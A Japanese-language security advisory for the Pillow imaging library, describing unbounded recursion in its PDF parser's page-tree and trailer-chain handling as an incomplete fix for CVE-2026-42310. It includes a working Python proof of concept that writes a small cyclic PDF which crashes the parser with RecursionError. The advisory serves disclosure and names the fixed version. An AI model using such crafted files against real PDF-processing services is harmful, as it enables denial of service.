Pillow: 無制限な再帰処理によるPDFページツリーまたはトレーラーチェーンの解析(CVE-2026-42310に対する不完全な修正)

### 概要
アプリケーションが既存のPDFファイルに`Image.save(..., format="PDF", append=True)`で追記すると、Pillowは`PdfParser`を使用してそのファイルを解析します。2つの再帰的なパーサーに有効な制限がありません。`linearize_page_tree`は、訪問済みのセットや深さの制限なしに`/Kids`を辿るため、循環または重複したページツリーが無限に再帰します。`read_prev_trailer`は、完全に同じ`/Prev`オフセットのみを拒否するため、一意のオフセットの長いチェーンも再帰します。CVE-2026-42310に対するトレーラーループの保護機能は、これらのいずれの場合にも対応していません。

### 詳細
`linearize_page_tree`は、サイクルや深さのチェックなしに`/Kids`を再帰的に処理します。

- `src/PIL/PdfParser.py:1078-1092`

`read_prev_trailer`は、繰り返されるオフセットのみを検出します。

- `src/PIL/PdfParser.py:697-720`(`:714-718`の`processed_offsets`チェックはCVE-2026-42310の修正ですが、一意のオフセットのチェーンはそれを回避します)

### PoC(概念実証)
```python
from PIL import PdfParser

# 相互に参照するページノードを持つページツリー(2 -> 3 -> 2)。
objs = {
1: b"<< /Type /Catalog /Pages 2 0 R >>",
2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>",
}
buf = bytearray(b"%PDF-1.4\n")
off = {}
for oid in (1, 2, 3):
off[oid] = len(buf)
buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n"
xref = len(buf)
buf += b"xref\n0 4\n0000000000 65535 f \n"
buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3))
buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref
open("poc.pdf", "wb").write(buf)

PdfParser.PdfParser("poc.pdf", mode="r+b") # append=Trueは、既存のファイルを同じように解析します
```

実行すると:
```
$ python 11_poc.py
RecursionError: maximum recursion depth exceeded
```

315バイトのファイルは、解析時に再帰処理を引き起こします。一方、重複した(非循環の)`/Kids`ツリーは、線形以上のCPUとメモリの使用量につながり、また、長い一意のオフセットを持つ`/Prev`チェーンは、トレーラー側の再帰処理を引き起こします。

### 影響
ユーザーが提供したPDFファイルに追記するサービス(例えば、スタンプや透かしの処理パイプラインなど)は、画像が書き込まれる前に、予期しない再帰処理や過剰なCPUおよびメモリの使用量に陥る可能性があります。これは、CVE-2026-42310に関連する問題です。Pillowのポリシーでは、単純なPython例外をサービス拒否(DoS)として報告することを推奨していないため、まずは循環ツリーの問題を優先します。これは、`RecursionError`を発生させるだけでなく、CPUとメモリを消費します。修正は、両方のパーサーに、訪問済みセットと深さ制限を追加することで行われます。

影響を受けるパッケージ:
- pip (Python) pillow: 影響を受けるバージョンは5.1.0以上、13.0.0未満。13.0.0で修正済み。